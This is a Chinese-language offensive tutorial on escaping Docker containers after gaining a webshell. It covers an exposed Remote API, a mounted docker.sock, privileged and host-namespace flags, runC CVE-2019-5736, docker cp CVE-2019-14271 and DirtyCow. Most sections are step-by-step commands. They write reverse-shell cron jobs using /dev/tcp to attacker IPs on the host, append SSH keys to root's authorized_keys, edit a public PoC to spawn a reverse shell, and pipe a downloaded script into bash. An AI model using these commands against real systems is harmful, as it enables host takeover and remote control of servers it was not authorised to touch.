當獲得一個Webshell,我們的攻擊點可能處於服務器的一個虛擬目錄里,一台虛擬機或是一台物理機,甚至是在一個Docker容器里。
假設,我們獲取的Webshell就處於Docker容器里,那么,我們該如何破局呢?
Docker 容器逃逸案例:
1、判斷是否處於docker容器里
-
Docker Remote API 未授權訪問
-
docker.sock 掛載到容器內部
-
docker 高危啟動參數
-
privileged 特權模式
-
掛載敏感目錄
-
相關啟動參數存在的安全問題
3、Docker 軟件設計引起的逃逸
-
Shocker攻擊
-
runC容器逃逸漏洞(CVE-2019-5736)
-
Docker cp 命令(CVE-2019-14271)
4、內核漏洞引起的逃逸
-
臟牛漏洞(dirtycow-docker-vdso)
一、判斷是否在docker容器里
首先,我們需要先判斷是否在docker環境里,常用的兩個檢測方式:
檢查/.dockerenv文件是否存在 檢查/proc/1/cgroup內是否包含"docker"等字符串。
目前來說,這兩種檢測方式還是比較有效的,其他檢測方式,如檢測mount、fdisk -l查看硬盤 、判斷PID 1的進程名等也可用來輔助判斷。
二、配置不當引發的docker逃逸
2.1 docker remote api未授權訪問
漏洞簡述:docker remote api可以執行docker命令,docker守護進程監聽在0.0.0.0,可直接調用API來操作docker。
sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
通過docker daemon api 執行docker命令。
#列出容器信息,效果與docker ps一致。 curl http://<target>:2375/containers/json #啟動容器 docker -H tcp://<target>:2375 ps -a
漏洞利用:
A、新運行一個容器,掛載點設置為服務器的根目錄掛載至/mnt目錄下。
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
B、在容器內執行命令,將反彈shell的腳本寫入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
C、本地監聽端口,獲取對方宿主機shell。
2.2 docker.sock掛載到容器內部
場景描述:簡單來說就是docker in docker,在docker容器中調用和執行宿主機的docker,將docker宿主機的docker文件和docker.sock文件掛載到容器中,具體為:
docker run --rm -it \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/bin/docker:/usr/bin/docker \ ubuntu \ /bin/bash
漏洞測試:
A、在容器中找到docker.sock
root@95a280bc5a19:/# find / -name docker.sock
/run/docker.sock
B、在容器查看宿主機docker信息:
docker -H unix:///var/run/docker.sock info
C、運行一個新容器並掛載宿主機根路徑:
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
D、在新容器的/test 目錄下,就可以訪問到宿主機的全部資源,接下來就是寫入ssh密鑰或者寫入計划任務,獲取shell。
ls -al /test
2.3 docker 高危啟動參數
docker中存在一些比較高危的啟動命令,給予容器較大的權限,允許執行一些特權操作,在一定的條件下,可以導致容器逃逸。
docker run --rm -it --privileged -v /:/soft --cap-add=SYS_ADMIN --net=host --pid=host --ipc=host ubuntu /bin/bash
特權模式(—privileged)
使用特權模式啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,此外還可以通過寫入計划任務等方式在宿主機執行命令。
漏洞測試:
A、通過特權模式運行一個容器:
sudo docker run -itd --privileged ubuntu:latest /bin/bash
B、在容器內,查看磁盤文件
fdisk -l
C、將/dev/sda1 掛載到新建目錄
mkdir /test
mount /dev/sda1 /test
D、將計划任務寫入到宿主機
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.172.136/12345 0>&1' >> /test/var/spool/cron/crontabs/root
E、開啟nc監聽,成功獲取宿主機反彈回來的shell。
掛載敏感目錄(-v /:/soft)
漏洞測試:
A、將宿主機root目錄掛載到容器
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash
B、模擬攻擊者寫入ssh密鑰
mkdir /root/.ssh
cat id_rsa.pub >> /root/.ssh/authorized_keys
C、利用私鑰成功登錄。獲取宿主機權限。
相關啟動參數存在的安全問題:
Docker 通過Linux namespace實現6項資源隔離,包括主機名、用戶權限、文件系統、網絡、進程號、進程間通訊。但部分啟動參數授予容器權限較大的權限,從而打破了資源隔離的界限。
--cap-add=SYS_ADMIN 啟動時,允許執行mount特權操作,需獲得資源掛載進行利用。 --net=host 啟動時,繞過Network Namespace --pid=host 啟動時,繞過PID Namespace --ipc=host 啟動時,繞過IPC Namespace
二、Docker 軟件設計引起的逃逸
3.1 Shocker 攻擊
漏洞描述:從Docker容器逃逸並讀取到主機某個目錄的文件內容。Shocker攻擊的關鍵是執行了系統調用open_by_handle_at函數,Linux手冊中特別提到調用open_by_handle_at函數需要具備CAP_DAC_READ_SEARCH能力,而Docker1.0版本對Capability使用黑名單管理策略,並且沒有限制CAP_DAC_READ_SEARCH能力,因而引發了容器逃逸的風險。
漏洞影響版本: Docker版本< 1.0, 存在於 Docker 1.0 之前的絕大多數版本。
github項目地址:
https://github.com/gabrtv/shocker
3.2 runC容器逃逸漏洞(CVE-2019-5736)
漏洞簡述:
Docker 18.09.2之前的版本中使用了的runc版本小於1.0-rc6,因此允許攻擊者重寫宿主機上的runc 二進制文件,攻擊者可以在宿主機上以root身份執行命令。
利用條件:
Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情況下,可通過 docker 和docker-runc 查看當前版本情況。
漏洞測試:
1、測試環境鏡像下載安裝:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
2、下載POC,修改腳本,編譯
下載poc git clone https://github.com/Frichetten/CVE-2019-5736-PoC #修改Payload vi main.go payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1" 編譯生成payload CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 拷貝到docker容器中執行 sudo docker cp ./main 248f8b7d3c45:/tmp
3、模仿攻擊者,在容器中執行payload
# 進入容器 sudo docker exec -it 248f8b7d3c45 /bin/bash # 修改權限 chmod 777 main # 執行Payload ./main
4、假設,管理員通過exec進入容器,從而觸發Payload。
sudo docker exec -it cafa20cfb0f9 /bin/sh
5、在192.168.172.136上監聽本地端口,成功獲取宿主機反彈回來的shell。
3.3 Docker cp命令可導致容器逃逸攻擊漏洞(CVE-2019-14271)
漏洞描述:
當Docker宿主機使用cp命令時,會調用輔助進程docker-tar,該進程沒有被容器化,且會在運行時動態加載一些libnss*.so庫。黑客可以通過在容器中替換libnss*.so等庫,將代碼注入到docker-tar中。當Docker用戶嘗試從容器中拷貝文件時將會執行惡意代碼,成功實現Docker逃逸,獲得宿主機root權限。
影響版本:
Docker 19.03.0
安全版本:
升級至安全版本 Docker 19.03.1及以上。
四、內核漏洞引起的逃逸
4.1 利用DirtyCow漏洞實現Docker逃逸
漏洞簡述:
Dirty Cow(CVE-2016-5195)是Linux內核中的權限提升漏洞,通過它可實現Docker容器逃逸,獲得root權限的shell。
漏洞測試:
1、環境准備:
docker與宿主機共享內核,因此我們需要存在dirtyCow漏洞的宿主機鏡像。
這里,我們使用ubuntu-14.04.5來復現。
2、測試容器下載並運行:
git clone https://github.com/gebl/dirtycow-docker-vdso.git cd dirtycow-docker-vdso/ sudo docker-compose run dirtycow /bin/bash
3、進入容器,編譯POC並執行:
cd /dirtycow-vdso/ make ./0xdeadbeef 192.168.172.136:1234
4、在192.168.172.136監聽本地端口,成功接收到宿主機反彈的shell。